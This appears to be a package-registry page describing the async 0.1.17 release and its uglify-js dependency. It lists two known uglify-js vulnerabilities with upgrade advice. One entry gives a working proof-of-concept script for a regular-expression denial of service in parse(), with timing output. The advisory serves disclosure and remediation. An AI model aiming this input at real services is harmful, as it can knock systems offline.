Async version 0.1.17 introduces a key update for developers relying on JavaScript code minification: a declared dependency on uglify-js version 1.2.x. This means that if you're using async 0.1.17 and need to minify your JavaScript, uglify-js will be automatically installed as part of your project dependencies, streamlining your workflow. The previous 0.1.16 version lacked this direct dependency, potentially requiring developers to manage uglify-js separately.
Beyond the dependency change, 0.1.17 also incorporates development dependencies for nodelint and nodeunit, both at versions greater than 0.0.0. While these are development tools, it signals a continued commitment to code quality and thorough testing within the async library itself. These testing and linting dependencies are useful for contributors to the library, showcasing the project's emphasis on maintaining code standards. The core functionality of async, which provides higher-order functions for managing asynchronous operations, remains consistent between the two versions. In short the 0.1.17 mainly improves the developer experience in the code minification and ensures the code quality and testing behind the asyc library. The latest release provides a smoother integration with code minification tools for a streamlined development experience.
All the vulnerabilities related to the version 0.1.17 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.